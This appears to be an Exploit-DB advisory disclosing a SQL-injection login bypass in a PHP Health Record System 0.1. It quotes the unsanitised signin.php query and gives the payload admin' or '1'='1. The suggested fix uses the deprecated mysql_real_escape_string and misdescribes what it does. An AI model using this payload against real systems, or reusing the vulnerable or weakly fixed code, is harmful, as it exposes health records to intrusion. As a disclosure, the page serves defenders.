Health Record System Auth Bypass

vendor:

by:

lahilote

5.5

CVSS

MEDIUM

Auth Bypass

CWE

Product Name:

Affected Version From: 0.1

Affected Version To: 0.1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: xampp

2016

Health Record System Auth Bypass

The vulnerability allows an attacker to bypass authentication in the Health Record System. By using a specific input, the attacker can log in with any username and password combination.

Mitigation:

One way to fix and secure this Auth Bypass flaw is to use the php function mysql_real_escape_string. This function replaces certain characters with a backslash, making the attacker's commands useless.

Source

Exploit-DB raw data:

# Exploit Title.............. Health Record System Auth Bypass
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/node/10430
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/Jesutoyeboluwatife/vital.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in vital/signin.php
-------------------------------

----snip----

if (isset($_POST['submit'])){
	$lga_id=$_POST['lgaid'];
$pw=$_POST['pwd'];
$_SESSION['username'] = $lga_id;
	
	
	 $sql=mysql_query("SELECT * FROM admin WHERE lga_id='$lga_id' AND password='$pw' ");

----snip----

You can login with username and password: admin' or '1'='1


How to fix
----------
One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.
It causes that every of this characters \x00, \n, \r, \, '
get's replaced with a simple Backslash „/“, so the attackers commands become useless.

   Example:

if (isset($_POST['submit'])){
	$lga_id=mysql_real_escape_string($_POST['lgaid']);
$pw=mysql_real_escape_string($_POST['pwd']);
$_SESSION['username'] = $lga_id;
	
	
	 $sql=mysql_query("SELECT * FROM admin WHERE lga_id='$lga_id' AND password='$pw' ");


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/node/10430
http://php.net/manual/en/function.mysql-real-escape-string.php